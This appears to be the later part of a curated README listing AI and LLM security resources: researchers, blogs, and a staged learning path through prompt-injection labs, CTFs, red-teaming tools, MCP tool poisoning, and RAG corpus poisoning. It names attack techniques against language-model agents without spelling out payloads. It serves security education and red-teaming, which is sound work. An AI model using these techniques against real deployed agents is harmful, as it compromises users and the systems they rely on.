Johann Rehberger (Embrace the Red) · Simon Willison · Kai Greshake · Florian Tramèr and the ETH SPY Lab (AgentDojo, adaptive attacks) · Edoardo Debenedetti · Nicholas Carlini (training-data extraction, adaptive attacks) · Rich Harang and Leon Derczynski (NVIDIA, garak) · Steve Wilson, John Sotiropoulos, Rock Lambros and the OWASP GenAI leads · Invariant Labs · HiddenLayer and Palo Alto Unit 42 research teams

Newsletters & Blogs

• Simon Willison's Weblog — Authoritative LLM security commentary; the prompt-injection tag is the best running archive
• AI Weekly — Tracks what influential AI experts and organizations are reading and sharing
• The Batch — DeepLearning.AI — Weekly AI news
• HiddenLayer Research — AI security research
• Lakera Blog — LLM and agentic AI security insights
• PortSwigger Research — Web + AI security research
• Adversa AI Blog — Real-world AI security incidents and red teaming
• Palo Alto Unit 42 — MCP and agentic attack-vector research
• Microsoft Security Blog — AI — FIDES, recommendation poisoning, Copilot defenses
• Google Online Security Blog — Indirect prompt injection defense methodology and AI VRP reasoning
• Anthropic Research & News — Agentic misuse disclosures and safeguards research
• Cloud Security Alliance AI research — Consolidation notes on agentic browser exploits, MCP, skill poisoning

---

Key Academic Papers

---

Suggested Learning Path by Experience Level

🟢 Beginner (0–3 months)

1. Complete PortSwigger Web Security Academy fundamentals
2. Learn Python basics
3. Take Google ML Crash Course
4. Read the OWASP GenAI LLM Top 10 (2026) — then skim the 2025 list so you recognize the older category names in tooling
5. Play Gandalf — all 8 levels
6. Read Simon Willison's prompt injection article
7. Watch Andrej Karpathy — Intro to LLMs and the tokenizer video
8. Read Prompt Injection Cheat Sheet — Seclify
9. Deploy AIGoat locally and work the labs — no API keys or cloud accounts needed

🟡 Intermediate (3–9 months)

1. Study the MITRE ATLAS Matrix including the 2025–26 agentic techniques, and read the case studies
2. Complete PortSwigger LLM Attack labs
3. Set up and exploit Damn Vulnerable LLM Agent
4. Work OWASP FinBot CTF and Crucible
5. Read the LLM Hacker's Handbook
6. Study Embrace the Red blog in full
7. Experiment with garak, PyRIT and promptfoo — get one running in CI
8. Try the Offensive ML Playbook
9. Run DVMCP and reproduce Invariant's tool-poisoning PoCs
10. Read Palo Alto Unit 42 MCP Attack Vectors and the OWASP MCP Top 10
11. Build a small RAG app, then poison your own corpus and try to break tenant isolation

🔴 Advanced (9+ months)

1. Participate in AI Village CTF at DEF CON and Gray Swan arenas
2. Submit findings to Huntr, OpenAI Safety Bug Bounty or 0DIN — match the finding class to the scope
3. Study adversarial ML with ART and CleverHans; use NIST AI 100-2e2025 as your vocabulary
4. Read the 2025–2026 papers: CaMeL, The Attacker Moves Second, the coding-assistant and skill-ecosystem SoKs
5. Run AgentDojo against your own agent and report ASR with a benign-utility baseline — numbers without a utility baseline are meaningless
6. Set up a local MCP environment and test tool poisoning, shadowing, rug pulls and cross-server contamination
7. Contribute to open source tools like garak, mcp-scan or AI Exploits
8. Build your own vulnerable agentic demo environment with MCP integration
9. Write and publish research — blog posts, CVEs, conference talks

🎯 Specialization Tracks

Once past intermediate, depth beats breadth. Pick one:

Agent Security Specialist — OWASP ASI Top 10 → AgentDojo and WASP → memory poisoning and A2A → agent identity, short-lived credentials and sandboxing → build and break a multi-agent pipeline.

MCP / Protocol Security — MCP spec (authorization sections) → OWASP MCP Top 10 → DVMCP → Invariant PoCs → OAuth 2.1, audience binding and token passthrough → write a scanner check that catches something mcp-scan misses.

AI Supply Chain — NIST AI 100-2e2025 poisoning taxonomy → pickle/safetensors internals → ModelScan and picklescan → the skill-ecosystem papers → model signing, AIBOM and provenance.

AI Red Teamer — garak/PyRIT/promptfoo fluency → HarmBench and JailbreakBench methodology → multi-turn and adaptive attacks → write reproducible, quantified reports rather than one-off screenshots.

---

What's New in This Edition

(Changes made in the September 2026 revision, relative to the March 2026 edition.)

---

Last updated: September 2026 | Contributions welcome — submit a PR with new resources.

Entries marked Unverified are community submissions that maintainers have not independently validated. If you can confirm or refute one, please open an issue.